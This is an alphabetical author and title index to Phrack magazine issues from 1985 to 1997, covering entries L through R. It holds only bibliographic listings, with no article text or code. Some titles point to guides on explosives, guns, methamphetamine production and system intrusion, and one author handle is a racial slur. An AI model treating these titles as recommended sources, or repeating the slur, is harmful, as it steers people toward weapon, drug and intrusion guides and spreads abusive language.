        "Simple Data Encryption or Digital Electronics 101" 1987. I11 F5 4k
        "The Tried and True Home Production Method for Methamphetamine"
         by The Leftist. 1986. I4 F8 7k
"Legal Info" by Szechuan Death. 1994. I46 F9 13k
Legion of Doom! (group)
   authored 
        "How We Got Rich Through Electronic Fund Transfer" 1989. I29 F7 11k
        "LODCOM BBS Archive Info" 1993. I43 F18 24k
        "LODCOM Sample Messages" 1993. I43 F19 52k
        "LOD Communications BBS Archive Information" 1993. I44 F22 29k
   co-authored
        "Legion of Doom and The Occult" 1991 I36 F6 24k
   compiled 
        "Bank Information" 1989. I29 F6 12k
"Legion of Doom and The Occult" by LOD and Demon Seed Elite. 1991 I36 F6 24k
Leroy Donnelly authored
        "Air Fone Frequencies" 1992. I39 F8 14k
Lex Luthor authored
        "How To Hack Blackjack Part I" 1993. I43 F9 52k
        "How To Hack Blackjack Part II" 1993. I43 F10 50k
Lex Luthor was Pro-Philed in 1992. I40 F3 36k
"Lifting Ma Bell's Cloak of Secrecy" by VaxCat. 1989. I24 F9 25k
"Limbo to Infinity; Chapter Three of FTSaga" by Knight Lightning. 1989.
 I24 F3 18k
"Line Noise Part I" by Phrack Staff. 1993. I43 F4 39k
"Line Noise Part II" by Phrack Staff. 1993. I43 F5 43k
"Line Noise Part I" by Phrack Staff. 1993. I44 F3 51k
"Line Noise Part II" by Phrack Staff. 1993. I44 F4 35k
"Line Noise Part I" by Phrack Staff. 1994. I45 F4 49k
"Line Noise Part II" by Phrack Staff. 1994. I45 F5 50k
"Line Noise Part III" by Phrack Staff. 1994. I45 F6 59k
"Line Noise Part I" by Phrack Staff. 1994. I46 F3 61k
"Line Noise Part II" by Phrack Staff. 1994. I46 F4 56k
"Line Noise Part I" by Phrack Staff. 1995. I47 F2 52k
"Line Noise Part II" by Phrack Staff. 1995. I47 F3 59k
"Line Noise Part I" by Phrack Staff. 1996. I48 F3 63k
"Line Noise Part II" by Phrack Staff. 1996. I48 F4 51k
"Line Noise" by Phrack Staff. 1996. I49 F3 65k
"Line Noise" by Various Sources. 1997. I50 F3 72k
"Linux TTY hijacking" by Halflife. 1997. I50 F5 15k
"A Little About Dialcom" by Herd Beast. 1994. I46 F14 29k

LOCK PICKING
   "How to Pick Master Locks" by Gin Fizz and Ninja NYC. 1985. I1 F6 2k

"LODCOM BBS Archive Info" by LOD. 1993. I43 F18 24k
"LOD Communications BBS Archive Information" by LOD. 1993. I44 F22 29k
"LODCOM Sample Messages" by LOD. 1993. I43 F19 52k

LONG DISTANCE CARRIERS
   "Dun & Bradstreet Report on AT&T" submitted by Elric of Imrryr. 1988.
      I17 F2 24k
   "Dun & Bradstreet Report on Pacific Telesis" submitted by Elric of Imrryr.
      1988. I17 F3 26k
   "Lifting Ma Bell's Cloak of Secrecy" by VaxCat. 1989. I24 F9 25k
   "MCI International Cards" by Knight Lightning. 1985. I1 F5 3k
   "MCI Overview" by Knight Lightning. 1985. I2 F7 15k
   "OTher Common Carriers; A List" by Equal Axis. 1989. I28 F7 8k
   "Profile of MAX Long Distance Service" by Phantom Phreaker. 1986. I4 F4 4k
   "The TMC Primer" by Cap'n Crax. 1987. I10 F3 6k

"Looking Around in DECnet" by Deep Thought. 1989. I27 F6 14k
"Loop Maintenance Operating System" by Control C. 1988. I18 F8 32k
"Loop Maintenance Operations System" by Phantom Phreaker and Doom Prophet.
 1986. I9 F9 17k
Lord Digital co-authored
        "*ELITE* Access" 1991. I36 F5 43k
        "Phrack Pro-Phile on Lord Digital" 1992. I42 F3 22k
Lord Digital was Pro-Philed in 1992. I42 F3 22k
Lotus co-authored 
        "CompuServe Info" 1986. I8 F6 8k


                                   ** M **


The Mad Phone-Man authored
        "BELLCORE Information" 1987. I16 F2 11k
        "Flight of The Mad Phone-Man" (PWN) 1987. I16 F10 2k
        "The Mad Phone-Man and The Gestapo" (PWN) 1987. I16 F9 2k
Mad Hacker 616 authored 
        "The Art of Junction Box Modeming" I8 F5 6k
Madjus (N.O.D.) authored
        "Cellular Info" 1993. I43 F17 47k
Magic Hasan authored
        "Primos: Primenet, RJE, DPTX" 1988. I18 F4 15k
"Making Free Local Payfone Calls" by Killer Smurf. 1987. I15 F3 7k
"The Making of a Hacker" by Framstag. 1989. I27 F7 9k
"Making Shell Bombs" by Man-Tooth. 1986. I3 F3 3k
"Mall Cop Frequencies" by Caligula XXI. 1992. I41 F10 11k
Maldoror authored
        "The Universal Data Convertor" 1994. I45 F21 45k
   co-authored
        "Gettin' Down 'N Dirty Wit Da GS/1" 1994. I46 25k       
Man-Tooth authored
        "Homemade Guns" 1985. I2 F3 7k
        "Making Shell Bombs" 1986. I3 F3 3k
Manny E. Farber authored
        "10th Chaos Computer Congress" 1994. I45 F13 23k
Mastermind authored
        "SS7 Diverter plans" 1997. I50 F9 27k        
Max Nomad authored
        "Prack World News Special Report VI on CFP-2" 1992. I38 F12 18k
"MCI International Cards" by Knight Lightning. 1985. I1 F5 3k
"MCI Overview" by Knight Lightning. 1985. I2 F7 15k
"The MCX7700 PABX System" by Dr. Delam. 1994. I45 F25 22k
Men From Mongo authored
        "Real Cyberpunks" 1991 I36 F9 13k
The Mentor authored
        "The Conscience of a Hacker {Reprint}" by The Mentor. 1987. I14 F3 4k
        "Crashing DEC-10's" 1986. I4 F6 5k
        "DCL Utilities for VMS Hackers" 1988. I19 F2 23k
        "Fun With Automatic Tellers" by The Mentor. 1986. I8 F7 7k
        "Hacker's Manifesto" 1986. I7 F3 4k
        "Multi-User Chat Program for DEC-10's" (co-authored) 1986. I9 F7 7k
        "A Novice's Guide to Hacking (1989. Edition)" 1988. I22 F4 42k
        "Metal/General Disussion [from Metal Shop Private BBS]" 1988. I20 F5 66k
Mind Mage co-authored
        "Phrack Loopback" 1992. I40 F2 50k
        "Phrack Loopback" 1992. I41 F2 52k
Minor Threat was Pro-Philed in 1994. I46 F5 12k
"Mobile Tele Communications" by Phantom Phreaker. 1986. I5 F9 11k
"MOD Family Portrait" <unencoded .gif> 1993. I44 F24 35k
"The Moeller Papers" by Professor Moeller. 1993. I44 F10 30k
Monty Python authored 
        "Rolm Systems" 1985. I3 F2 11k 
"More Stupid Unix Tricks" by Shooting Shark. 1987. I15 F2 10k
Morgoth co-authored 
        "CompuServe Info" 1986. I8 F6 8k
"Motorola Command Mode Information" by Cherokee. 1996. I48 F6 38k
mrnobody authored
        "DCO Operating System" 1997. I50 F14 16k
"DTMF signalling and decoding" by Mr. Blue. 1997. I50 F13 17k
Mudge was Pro-Philed in 1996. I49 F4 8k
"Multi-User Chat Program for DEC-10's" by TTY-Man and The Mentor. 1986.
 I9 F7 7k
"My Bust Part I" by Robert Clark. 1993. I43 F12 56k
"My Bust Part II" by Robert Clark. 1993. I43 F13 55k
Mycroft authored
        "Wide Area Information Services" 1992. I38 F8 11k
"The Myth and Reality About Eavesdropping" by Phone Phanatic. 1989. I29 F8 17k


                                   ** N **


"Nasty Unix Tricks" by Shooting Shark. 1986. I6 F5 4k
"Netmon" by daemon9. 1996. I48 F15 21k
Netta Gilboa authored
        "HoHoCon" 1995. I47. F10 30k        
"Network Management Center" by Knight Lightning and Taran King. 1988. I21 F6 13k
"Network Miscellany" by Racketeer. 1992. I40 F4 32k
"Network Miscellany" by Racketeer. 1992. I41 F4 35k
"Network Miscellany" by Taran King. 1989. I28 F4 30k
"Network Miscellany II" by Taran King. 1989. I29 F4 35k
"Network Miscellany III" by Taran King. 1989. I30 F2 21k
"Network Miscellany IV" by Datastream Cowboy. 1992. I38 F5 30k
"Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k
"Network Progression" by Dedicated Link. 1989. I24 F10 5k
"The New Editors<daemon9, ReDragon, Voyager> were Pro-Philed in 1996. I48 F5 23k
"New Users [from Metal Shop Private BBS]" 1988. I20 F9 17k
Night Ranger authored
        "Hacking Voice Mail Systems" 1991. I34 F5 19k
The Nightstalker authored 
        "Phrack Editorial on Microbashing" 1988. I19 F6 6k
Nihil authored
        "Cracking NT Passwords" 1997. I50 F8 17k
Ninja Master authored
        "Phreaking in Germany" 1991. I33 F7 28k
Ninja NYC co-authored 
        "How to Pick Master Locks" 1985. I1 F6 2k
"Nitrogen-Trioxide Explosive" by Signal Substain. 1988. I17 F4 7k
NOD authored
        "Users Guide to XRAY" 1992. I42 F6 11k
The Noid authored
        "The Blue Box and Ma Bell" 1989. I25 F7 19k
"Non-Published Numbers" by Patrick Townsend. 1988. I21 F7 8k
"NorThern Telecom's FMT-150B/C/D" by FyberLyte. 1993. I44 F13 16k
"NorThern Telecom's SL-1" by Iceman. 1993. I44 F19 30k
The Not authored
        "TCP/IP: A Tutorial Part 1 of 2" 1991. I33 F8 28k
        "TCP/IP: A Tutorial Part 2 of 2" 1991. I34 F8 39k
"No Time for Goodbyes" by Emmanuel Goldstein. 1994. I45 F9 21k

NOVELL NETWORKS
        "Help for Verifying Novell Security" by Phrack Staff. 1993. I43 F11 48k

"A Novice's Guide to Hacking (1989. Edition)" by The Mentor. 1988. I22 F4 42k
"NSFnet: National Science Foundation Network" by Knight Lightning. 1989.
 I26 F4
"NUA List for Datex-P and X.25 Networks" by Oberdaemon. 1989. I27 F4 105k


                                   ** O **


Oberdaemon authored 
        "NUA List for Datex-P and X.25 Networks" 1989. I27 F4 105k
The Omega co-authored        
        "Exploring Information-America" 1992. I37 F4 51k
        "Quentin Strikes Again" 1994. I45 F12 28k
"The Open Barn Door" by Douglas Walter(Newsweek). 1992. I39 F9 11k
"Operating The VM/SP CP" by Taran King. 1989. I27 F2 38k
Opticon authored
        "An Introduction to The DecServer 200" 1993. I44 F22 16k
Optik Nerve authored
        "Introduction to Octel's ASPEN" 1994. I45 F23 12k
Oryan Quest authored
        "Fun With The Centagram VMS Network" 1986. I9 F3 4k
"OTher Common Carriers; A List" by Equal Axis. 1989. I28 F7 8k
Overlord authored 
        "Private Audience" 1986. I3 F5 13k
"An Overview of Pre-Paid Calling Cards" by Treason. 1995. I47 29k


                                   ** P **


"Packet Switched Network Security" by Chris Goggans. 1992. I42 F4 22k
"PACT: Prefix Access Code Translator" by The Executioner. 1987. I11 F3 8k

PAGERS
   "The Wonderful World of Pagers" by Erik Bloodaxe. 1994. I46 F8     
   "The Glenayre GL3000 Paging and Voice retrieval System" by Armitage. 1995.
    I47 F14 25k   
      
"Paid Advertisement"(unencoded game) by R.E.M. 1994. I46 F6 62k
"Paid Advertisement Part ][" (unencoded game) by R.E.M. 1994. I46 F7 45k
Pain Hertz authored
        "Inside The SYSUAF.DAT File" 1990. I32 F8 16k    
        "Phrack Pro-Phile of Markus Hess" 1990. I31 F2 6k
Parmaster authored
        "Introduction to the FedLine software system" 1996. I49 F12 19k

PARODY'S
   "In Living Computer Starring Knight Lightning" 1991 I36 F3 10k
   "The History ah MOD" by Wing Ding. 1991 I36 F4 23k

Patrick Townsend authored 
        "Non-Published Numbers" 1988. I21 F7 8k
Paul Saffo authored 
        "Consensual Realities in Cyberspace". 1989. I30 F8 11k

PBXs
   "AIS - Automatic Intercept System" by Taran King. 1987. I11 F6 16k
   "Hacking Rolm's CBXII" by Doc Holiday. 1990. I31 F3 15k
   "Introduction to Octel's ASPEN" by Optik Nerve. 1994. I45 F23 12k
   "Introduction to PBX's" by Knight Lightning. 1986. I3 F9 7k
   "The MCX7700 PABX System" by Dr. Delam. 1994. I45 F25 22k
   "Physical Access and Theft of PBX Systems" by Co/Dec. 1993. I43 F15 28k
   "SAM Security" by Spitfire Hacker. 1985. I1 F2 2k

pbxFreak authored
        "Skytel Paging and Voicemail" 1997. I50 F10 36k        
"PC Application Level Security" by Sideshow Bob. 1997. I50 F12 21k
Phantom Phreaker authored
        "Busy Line Verification" 1987. I11 F10 10k
        "Busy Line Verification Part II" 1987. I12 F8 9k
        "Facility Assignment & Control Systems" 1988. I19 F5 11k
        "Fortell Systems" 1986. I3 F6 3k
        "Mobile Telephone Communications" 1986. I5 F9 11k
        "Profile of MAX Long Distance Service" 1986. I4 F4 4k
        "School/College Computer Dial-Ups" 1985. I1 F8 4k
   co-authored
        "Automatic Number Identification" (co-authored) 1987. I10 F7 9k
        "Loop Maintenance Operations System" (co-authored) 1986. I9 F9 17k
"Phone Bugging: Telecom's Underground Industry" by Split Decision. 1989.
 I26 F7
Phone Phanatic authored
        "The Myth and The Reality About Eavesdropping" 1989. I29 F8 17k
        "Western Union Telex, TWX, and Time Service" 1989.
         I30 F10 13k
Phrack Accident authored
        "Playing Hide and Seek, Unix Style" 1993. I43 F14 31k
"Phrack Classic Spotlight featuring Knight Lightning" by Crimson Death. 1990.
 I32 F2
"Phrack Editorial on Microbashing" by The Nightstalker. 1988. I19 F6 6k
Phrack Inc. authored 
        "Internet Domains: FTSaga Appendix 3 (Limbo to Infinity)"
         1989. I26 F8 20k
"Phrack Inc./Gossip [from Metal Shop Private BBS]" 1988. I20 F6 56k
"Phrack Loopback" by Phrack Staff. 1991. I34 F2 14k
"Phrack Loopback" by Phrack Staff. 1991. I35 F2 34k
"Phrack Loopback" by Phrack Staff. 1992. I37 F2 15k
"Phrack Loopback" by Phrack Staff. 1992. I38 F2 12k
"Phrack Loopback" by Phrack Staff. 1992. I39 F2 24k
"Phrack Loopback" by Dispater & Mind Mage. 1992. I40 F2 50k
"Phrack Loopback" by Dispater & Mind Mage. 1992. I41 F2 52k
"Phrack Loopback" by Phrack Staff. 1992. I42 F2 48k
"Phrack Loopback Part I" by Phrack Staff. 1993. I43 F2 38k
"Phrack Loopback Part II" by Phrack Staff. 1993. I43 F3 44k
"Phrack Loopback/Editorial" by Phrack Staff. 1993. I44 F2 57k
"Phrack Loopback Part I" by Phrack Staff. 1994. I45 F2 31k
"Phrack Loopback Part II" by Phrack Staff. 1994. I45 F3 40k
"Phrack Loopback/Editorial" by Phrack Staff. 1994. I46 F2 52k
"Phrack Loopback/Editorial" by Phrack Staff. 1995. I47 F2 52k
"Phrack Loopback/Editorial" by Phrack Staff. 1996. I48 F2 55k
"Phrack Loopback/Editorial" by Phrack Staff. 1996. I49 F2 6k
"Phrack Loopback/Editorial" by Phrack Staff. 1997. I50 F2 60k
Phrack Staff authored
        "extract.c" 1997. I50 F16 2k
        "Diet Phrack Loopback" 1991 I36 F2 14k
        "Line Noise Part I" 1993. I43 F4 39k
        "Line Noise Part II" 1993. I43 F5 43k
        "Line Noise Part I" 1993. I44 F3 51k
        "Line Noise Part II" 1993. I44 F4 35k
        "Line Noise Part I" 1994. I45 F4 49k
        "Line Noise Part II" 1994. I45 F5 50k
        "Line Noise Part III" 1994. I45 F6 59k
        "Line Noise Part I" 1994. I46 F3 61k
        "Line Noise Part II" 1994. I46 F4 56k
        "Line Noise Part I" 1994. I47 F2 59k
        "Line Noise Part II" 1994. I47 F3 65k
        "Line Noise Part I" 1996. I48 F3 63k
        "Line Noise Part II" 1996. I48 F4 51k
        "Line Noise" 1996. I49 F3 65k
        "Phrack Loopback" 1991. I34 F2 14k
        "Phrack Loopback" 1991. I35 F2 34k
        "Phrack Loopback" 1992. I37 F2 15k
        "Phrack Loopback" 1992. I38 F2 12k
        "Phrack Loopback" 1992. I39 F2 24k
        "Phrack Loopback" 1992. I42 F2 48k
        "Phrack Loopback Part I" 1993. I43 F2 38k
        "Phrack Loopback Part II" 1993. I43 F3 44k
        "Phrack Loopback/Editorial" 1993. I44 F2 57k
        "Phrack Loopback Part I" 1994. I45 F2 31k
        "Phrack Loopback Part II" 1994. I45 F3 40k
        "Phrack Loopback/Editorial" 1994. I46 F2 52k
        "Phrack Loopback/Editorial" 1995. I47 F2 52k
        "Phrack Loopback/Editorial" 1996. I48 F2 55k
        "Phrack Loopback/Editorial" 1996. I49 F2 6k
        "Phrack Loopback/Editorial" 1997. I50 F2 60k
        "Phrack Pro-Phile on Aleph1" 1997. I50 F4 7k
        "Phrack Pro-Phile on Docter Who" 1993. I43 F6 15k
        "Phrack Pro-Phile on Mudge" 1996. I49 F4 8k
        "Phrack Pro-Phile on The New Editors"<daemon9,ReDragon,Voyager> 1996.
         I48 F5 23k
        "The Phrack University Dialup List" 1994. I46 F13 12k
        "Help for Verifying Novell Security" 1993. I43 F11 48k
"Phrack Pro-Phile [of/on/Featuring]
   Agrajag The Prolonged" by Taran King. 1987. I12 F2 7k
   Aleph1" by Phrack Staff. 1997. I50 F4 7k
   Aristotle" by Dispater. 1992 I38 F3 6k
   Ax Murderer" by Crimson Death. 1988. I18 F2 4k
   Broadway Hacker" by Taran King. 1986. I5 F2 5k
   Chanda Lier" by Taran King. 1989. I24 F2 6k
   Chris Goggans" by S. Leonardo Spitz. 1991. I35 F3 20k
   Crimson Death" by Taran King. 1986. I4 F1
   Computer Cop" by The Grimace. 1993. I44 F5 22k 
   Control C" by Phrack Staff. 1994. I45 F7 22k
   daemon9" by Phrack Staff. 1996. I48 F5 23k
   Dave Starr" by Taran King. 1987. I10 F2 8k
   Disk Jockey" by The Disk Jockey and & Dispater. 1991 I34 F3 23k
   Docter Who" by Phrack Staff. 1993 I43 F6 15k
   Emmanuel Goldstein" by Taran King. 1989. I29 F2 16k
   Erik Bloodaxe" by Taran King. 1989. I28 F2 15k
   Groups" by Knight Lightning. 1986. I6 F2 14k
   Karl Marx" by Taran King and Knight Lightning. 1988. I22 F2 9k
   Lex Luthor" by Taran King. 1992. I40 F3 36k
   Lord Digital" by Lord Digital. 1992 I42 F3 22k
   Markus Hess" by Pain Hertz. 1990. I31 F2 6k
   The Mentor" by Taran King. 1989. I23 F2 7k
   Minor Threat" by Phrack Staff. 1994. I46 F5 12k
   Modem Master" by Taran King. 1988. I21 F2 6k
   Mudge" by Phrack Staff. 1996. I49 F4 8k
   The Nightstalker" by Taran King. 1986. I9 F2 6k
   ReDragon" by Phrack Staff. 1996. I48 F5 23k
   Scan Man"" by Taran King. 1986. I7 F2 7k
   Shadow Hawk 1" by Dispater. 1992 I39 F3 8k
   Shooting Shark" by Crimson Death. 1991. I33 F2 16k
   Supernigger" by Supernigger. 1992. I41 F3 10k
   Taran King" by Taran King. 1988. I20 F2 14k
   Terminus" by Taran King. 1987. I14 F2 7k
   Tuc" by Taran King. 1986. I8 F2 6k
   Wizard of Arpanet" by Taran King. 1987. I11 F2 7k
   Voyager" by Phrack Staff. 1996. I48 F5 23k
"The Phrack University Dialup List" by Phrack Staff. 1994. I46 F13 12k
"Phrack World News" by alhambra. 1997. I50 F15 110k
"Phrack World News" by Crimson Death. 1991 I33 F11 18k
"Phrack World News" Parts 1-3 by Datastream Cowboy. 1992. I38 F13-15 34,32,33k
"Phrack World News" Parts 1-4 by Datastream Cowboy. 1992. I39 F10-13 30,27,29,29k
"Phrack World News" Parts 1-3 by Datastream Cowboy. 1992. I40 F12-14 50,48,48k
"Phrack World News" Parts 1-3 by Datastream Cowboy. 1992. I41 F11-13 46,49,43k
"Phrack World News" by Datastream Cowboy. 1992. I42 F14 29k
"Phrack World News" by Datastream Cowboy. 1993. I43 F27 24k
"Phrack World News" by Datastream Cowboy. 1993. I44 F27 22k
"Phrack World News" by Datastream Cowboy. 1994. I45 F28 17k
"Phrack World News" by Datastream Cowboy. 1994. I46 F28 38k
"Phrack World News" by Datastream Cowboy. 1995. I47 F22 38k        
"Phrack World News" by Datastream Cowboy. 1996. I48 F18 21k
"Phrack World News" by Disorder. 1996. I49 F16 109k
"Phrack World News" by Dispater. 1991. I33(F12,13  28/25k) I34 (F10/11 14/19k)  
 I35(F10-13 27/31/34/27k)
    co-authored
        "Phrack World News" Part 1-4 1992 I37 F11-14 31,30,29,31k
"Phrack World News" by Epsilon. 1988. I18 F10-11  I19 F8 6k
"Phrack World News" by Knight Lightning. 1985-90. I2 F9 I3 F10  I4 F9-11
   I5 F10-12  I6 F9-13  I7 F8-10  I8 F8-9  I9 F10  I10 F8-9  I11 F11-12
   I12 F10-11  I13 F10  I14 F8-9  I15 F6-7  I19 F7  I20 F12  I23 F11-12
   I24 F11-13  I25 F9 19k-11  I26 F9-11  I27 F10-12
   I28 F9-12  I29 F10-12  I30 F11-12
"Phrack World News" by Knight Lightning and Epsilon. 1988. I21 F10 22k-11
"Phrack World News" by Knight Lightning and Taran King. 1988. I22 F9 25k-12
"Phrack World News" by The Mad Phone-Man. 1987. I16 F9-10
"Phrack World News" by Phreak_Accident. 1990. I31 F8-10 (13,17,40k)
"Phrack World News" by Shooting Shark. 1987. I16 F11 2k
"Phrack World News" by Sir Francis Drake. 1987-88. I15 F8  I17 F10
"Phrack World News" by The $muggler. 1987-88. I16 F12, I17 F11
"Phrack World News" by The Sorceress. 1988. I17 F12 8k
"Phrack World News Special Edition #1" by Knight Lightning. 1987. I14 F7 32k
"Phrack World News Special Edition II" by Knight Lightning. 1988. I21 F9 78k
"Phrack World News Special Edition III (SummerCon '89)" by Knight Lightning.
 1989. I28 F8 31k
"Phrack World News Special Edition IV" <CyberView '91) by Bruce Sterling 1991.
 I33 F10 28k
"Phrack World News Special Report VI on WeenieFest'92" by Count Zero 1992.
 I37 F10 14k
"Phrack World News Special Report VI on CFP-2" by Max Nomad. 1992. I38 F12 18k
Phreak_Accident authored
        "Phrack World News" 1990. I31 F8-10 (13,17,40k)
        "TAMS & Telenet Security" 1990. I31 F4 7k
        "Phreak/Hack Sub [from Metal Shop Private BBS]" 1988. I20 F7 46k

PHREAKING
(See also CELLULAR, COSMOS, ISDN, LONG DISTANCE CARRIERS, TELEPHONE SWITCHING,
 PBX)
   "The AT&T Mail Gateway" by Robert Alien. 1991. I34 F4 5k
   "The Art of Junction Box Modeming" by Mad Hacker 616. I8 F5 6k
   "Automatic Number Identification" by Phantom Phreaker and Doom Prophet.
      I10 F7 9k
   "Blocking of Long Distance Calls" by Jim Schmickley. 1988. I21 F8 26k
   "Blocking of Long Distance Calls... Revisited" by Jim Schmickley. 1989.
      I29 F9
   "The Blue Box and Ma Bell" by The Noid. 1989. I25 F7 19k
   "Box.exe for SoundBlasters"<unencoded> by The Fixer. 1994. I45 F22 13k
   "Busy Line Verification" by Phantom Phreaker. 1987. I11 F10 10k
   "Busy Line Verification Part II" by Phantom Phreaker. 1987. I12 F8 9k
   "Can You Find Out If Your Telephone Is Tapped?" by Fred P. Graham and
      VaxCat. 1989. I23 F9 20k
   "Centrex Renaissance `The Regulations'" by Jester Sluggo. 1986. I4 F7 17k
   "Circuit Switched Digital Capability" by The Executioner. 1987. I10 F5 12k
   "City-Wide Centrex" by The Executioner. 1986. I8 F3 14k
   "Computer-Based Systems for Bell System Operation" by Taran King. 1989.
      I26 F2
   "Control Office Administration of Enhanced 911 Service" by
      The Eavesdropper. 1989. I24 F5 22k
   "DCO Operating System" by mrnobody. 1997. I50 F14 16k
   "DTMF signalling and decoding" by Mr. Blue. 1997. I50 F13 17k
   "The Craft Acces Terminal" by Boss Hogg. 1996. I48 F8 36k
   "Electronic Telephone Cards(Part 1)" by Stephane Bausson. 1996. I48 F10 39k
   "Electronic Telephone Cards(Part 2)" by Stephane Bausson. 1996. I48 F11 66k
   "The Fine Art of Telephony" by Crimson Flash. 1992 I40 F7 65k
   "The Fone Phreak's Revenge" by Iron Soldier. 1985. I1 F4 4k
   "Fortell Systems" by Phantom Phreaker. 1986. I3 F6 3k
   "Glossary Terminology for Enhanced 911 Service" by The Eavesdropper. 1989.
      I24 F6
   "Guide to 5ESS" by Firm G.R.A.S.P.. 1993. I43 F17 63k
   "A Guide to British Telecom's Caller ID Service" by Dr. BOB 1995.
    I47 F19 31k
   "How to Build a Paisley Box" by Thomas Covenant and Double Helix. 1987.
      I13 F4 5k
   "Information About NT's FMT-150/B/C/D" by Static. 1996. I48 F9 22k
   "Introdcution to Telephony and PBX Systems" by Cavalier. 1996. I49 F5 100k
   "International Toll Free Code list" by The Trunk Terminator 1991 I33 F6 15k
   "LATA Reference List" by Infinite Loop 1991 I33 F5 11k
   "Loop Maintenance Operating System" by Control C. 1988. I18 F8 32k
   "Loop Maintenance Operations System" by Phantom Phreaker and Doom Prophet.
      1986. I9 F9 17k
   "Making Free Local Payfone Calls" by Killer Smurf. 1987. I15 F3 7k
   "Mall Cop Frequencies" by Caligula XXI. 1992. I41 F10 11k
   "An Overview of Pre-Paid Calling Cards" by Treason. 1995. I47 29k
   "SS7 Diverter plans" by Mastermind. 1997. I50 F9 27k
   "South Western Bell Lineman Word Codes" by Icon. 1997. I49 F11 18k
   "NorThern Telecom's FMT-150B/C/D" by FyberLyte. 1993 I44 F13 16k
   "Telenet/Sprintnet's PC Pursuit Outdial Directory" by Amadeus. 1991
    I35 F4 90k
   "Telephone Company Customer Applications" by Voyager. 1996. I49 F13 38k
   "The Myth and The Reality About Eavesdropping" by Phone Phanatic. 1989.
      I29 F8
   "PACT: Prefix Access Code Translator" by The Executioner. 1987. I11 F3 8k
   "Phreaking in Germany" by Ninja Master 1991 I33 F7 28k
   "Prevention of The Billing Office Blues" by Forest Ranger. 1985. I2 F2 1k
   "A Real Functioning PEARL BOX Schematic" by Dispater. 1989. I28 F5 5k
   "A Real Functioning RED BOX Schematic" by J.R. "Bob" Dobbs. 1991. I33 F9 12k
   "Real Phreaker's Guide Vol. 2" by Taran King and Knight Lightning. 1987.
      I13 F2 5k
   "The Reality of The Myth [REMOBS]" by Taran King. 1987. I14 F4 6k
   "Special Area Codes" by >Unknown User<. 1989. I24 F8 27k
   "Special Area Codes II" 1992. by Bill Huttig I39 F7 17k
   "The Total Network Data System" by Doom Prophet. 1987. I12 F5 13k

"Phreaking in Germany" by Ninja Master 1991 I33 F8 7k
"Phreaks in Verse" by Sir Francis Drake. 1987. I13 F5 3k
"Phreaks in Verse II" by Homey The Hacker 1991. I36 F8 14k 
Professor Falken authored
        "Tymnet Diagnostic Tools" 1992. I42 F5 35k
Phrozen Ghost authored 
        "Hacking CDC's Cyber" 1988. I18 F5 12k
"Physical Access and Theft of PBX Systems" by Co/Dec. 1993. I43 F15 28k

PIRATING see WAREZ

"Pirate's Cove" by Rambone. 1992. I37 F3 8k
"Pirate's Cove" by Rambone. 1992. I38 F3 23k
"Pirate's Cove" by Rambone. 1992. I40 F5 57k
"Pirate's Cove" by Rambone. 1992. I41 F5 32k
"Playing Hide and Seek, Unix Style" by Phrack Accident. 1993. I43 F14 31k
"The Postal Inspection Service" by Vendetta. 1989. I27 F9 14k
"Plant Measurement" by The Executioner. 1986. I9 F6 13k
"Prevention of The Billing Office Blues" by Forest Ranger. 1985. I2 F2 1k
"Preview to Phrack 13-The Life & Times of The Executioner" 1987. I12 F3 5k
Prime Suspect authored 
        "A Few Things About Networks" 1988. I18 F9 21k

PRIMOS OPERATING SYSTEM
   "A Hacker's Guide to Primos: Part 1" by Cosmos Kid. 1987. I16 F3 11k
   "Hacking Primos I, II, III" by Evil Jay. 1987. I11 F7 7k
   "Hacking Primos Part I" by Evil Jay. 1987. I10 F6 11k
   "Primos: Primenet, RJE, DPTX" by Magic Hasan. 1988. I18 F4 15k

"Primos: Primenet, RJE, DPTX" by Magic Hasan. 1988. I18 F4 15k
"Private Audience" by Overlord. 1986. I3 F5 13k
Professor Erhart Moeller authored
        "The Moeller Papers" 1993. I44 F10 30k       
Professor authored
        "Hardwire Interfacing under Linux" 1997. I50 F11 11k
"Profile of MAX Long Distance Service" by Phantom Phreaker. 1986. I4 F4 4k
"Programming RSTS/E File2: Editors" by Solid State. 1986. I9 F4 13k
"Project Hades: TCP Weakness" by daemon9. 1996. I49 F7 38k
"Project Loki: ICMP Tunneling" by daemon9/alhambra. 1996. I49 F7 38k
"Project Neptune" by daemon9. 1996. I48 F13 52k
The Pyro authored
        "Blowguns" 1985. I2 F4 3K 3K
PsychoSpy authored
        "The Groom Lake Desert Rat" 1994. I46 F21 44k
        

                                   ** Q **


"Quentin Strikes Again" by The Omega and White Knight. 1994. I45 F12 28k


                                   ** R **


The Racketeer authored
        "Guide to Encryption" 1992. I42 F11 32k
        "Network Miscellany" 1992. I40 F4 32k
        "Network Miscellany" 1992. I41 F4 35k
Radical Rocker authored 
        "How to Make TNT" 1986. I7 F6 2k
"Radio Free Berkley Information" 1994. I45 F24 35k
"Radio Hacking" by The Seker. 1986. I5 F8 3k
"R.A.G. - Rodents are Gay" by Evil Jay. 1987. I13 F6 6k
"RAGS - The Best of Sexy Exy" 1987. I13 F9 19k
Rambone authored
        "Pirate's Cove" 1992. I37 F3 8k
        "Pirate's Cove" 1992. I38 F3 23k
        "Pirate's Cove" 1992. I40 F5 57k
        "Pirate's Cove" 1992. I41 F5 32k
Raoul wrote
        "DCL BBS Program" 1994. I45 F16 23k
Razor's Edge authored
        "The Truth About Lie Detectors" 1989. I30 F9 15k
"Reading Trans-Union Credit Reports" by The Disc Jockey. 1987. I16 F7 6k
"Real Cyberpunks" by The Men From Mongo. 1991 I36 F9 13k
"A Real Functioning PEARL BOX Schematic" by Dispater. 1989. I28 F5 5k
"A Real Functioning RED BOX Schematic" by J.R. "Bob" Dobbs 1991. I33 F9 12k
"Real Phreaker's Guide Vol. 2" by Taran King and Knight Lightning. 1987.
 I13 F2 5k
"The Reality of The Myth [REMOBS]" by Taran King. 1987. I14 F4 6k
ReDragon was Pro-Philed in 1996. I48 F5 23k
Red Knight authored
        "An In-Depth Guide in Hacking Unix" 1988. I22 F5 35k
Red Skull authored
        "Startalk" 1994. I46 F18 21k
R.E.M wrote
        "Paid Advertisement"(unencoded game) 1994. I46 F6 62k
        "Paid Advertisement Part ][" (unencoded game) 1994. I46 F7 45k
"A Report on The Internet Worm" by Bob Page. 1988. I22 F8 16k
Richard Goodwin authored
        "Hollywood-Style Bits & Bytes" 1994. I45 F17 50k
Richard C. Hollinger authored
        "Computer Hackers Follow a Guttman-Like Progression. 1988. I22 F7 10k
"Ring Back Codes for The 314 NPA" by Data Line. 1985. I4 F2 1k
Robert Alien authored
        "The AT&T Gateway" 1991 I34 F4 5k
Robert Clark authored
